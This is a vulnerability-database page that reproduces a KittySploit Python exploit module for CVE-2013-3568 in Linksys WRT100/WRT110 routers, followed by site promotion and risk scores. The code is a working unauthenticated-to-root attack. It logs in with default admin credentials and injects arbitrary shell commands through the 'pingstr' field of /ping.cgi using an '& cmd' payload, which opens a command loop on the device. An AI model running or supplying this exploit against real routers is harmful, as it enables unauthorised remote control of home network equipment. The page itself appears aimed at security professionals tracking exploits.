Lucene search
+L

Linksys WRT100/WRT110 RCE

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Remote command execution in Linksys WRT100/WRT110 devices via /ping.cgi.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Linksys WRT100/WRT110 RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Linksys WRT100/WRT110 RCE',
        'description': 'Module exploits remote command execution in Linksys WRT100/WRT110 devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.',
        'author': ['Craig Young', 'Marcin Bury'],
        'cve': ['CVE-2013-3568'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3568', 'http://seclists.org/bugtraq/2013/Jul/78'],
        'tags': ['iot', 'router', 'rce', 'unauth', 'cve-2013-3568'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    username = OptString("admin", "Username to log in")
    password = OptString("admin", "Password to log in")

    def execute(self, cmd):
        payload = "& {}".format(cmd)
        data = {
            "pingstr": payload
        }

        self.http_request(
            method="POST",
            path="/ping.cgi",
            data=data,
            auth=(self.username, self.password)
        )
        return ""
    def check(self):
        response = self.http_request(
            method="GET",
            path="/HNAP1/"
        )

        if response is not None and "<ModelName>WRT110</ModelName>" in response.text:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable
    def test_auth(self):
        print_status("Trying to authenticate")
        response = self.http_request(
            method="GET",
            path="/",
            auth=(self.username, self.password)
        )

        if response is None or response.status_code == 401 or response.status_code == 404:
            print_error("Could not authenticate {}:{}".format(self.username, self.password))
            return False
        else:
            print_success("Successful authentication {}:{}".format(self.username, self.password))
            return True

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
8.1High risk
Vulners AI Score8.1
CVSS 26.8
CVSS 3.18.8
EPSS0.25129
1